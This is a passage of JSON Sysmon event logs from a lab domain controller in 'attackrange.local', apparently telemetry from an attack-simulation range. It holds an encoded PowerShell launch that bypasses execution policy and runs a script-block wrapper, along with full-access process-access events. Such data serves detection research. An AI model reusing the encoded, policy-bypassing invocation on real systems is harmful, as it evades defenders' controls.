JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-4171-5F2D-0000-0010F6800800}","ParentProcessId":"4584","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5663,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.978\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F6800800}\r\nSourceProcessId: 4584\r\nSourceThreadId: 4588\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-00100E8D0800}\r\nTargetProcessId: 4580\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d6832f9b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd4075|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd3d46|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d678515b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5c948dc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cf2dab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd6410|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd6410|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd62a1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cc8226|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd4759|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd434c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd4075|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd3d46|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d678515b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cbaba7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cba177","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.978","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F6800800}","SourceProcessId":"4584","SourceThreadId":"4588","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-00100E8D0800}","TargetProcessId":"4580","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d6832f9b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd4075|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd3d46|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d678515b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5c948dc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cf2dab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd6410|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd6410|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd62a1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cc8226|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd4759|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd434c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd4075|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cd3d46|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d678515b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cbaba7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+d5cba177","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5664,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.978\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-00100E8D0800}\r\nTargetProcessId: 4580\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.978","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-00100E8D0800}","TargetProcessId":"4580","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5665,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.978\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.978","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5666,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.978\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.978","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5667,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.978\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.978","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 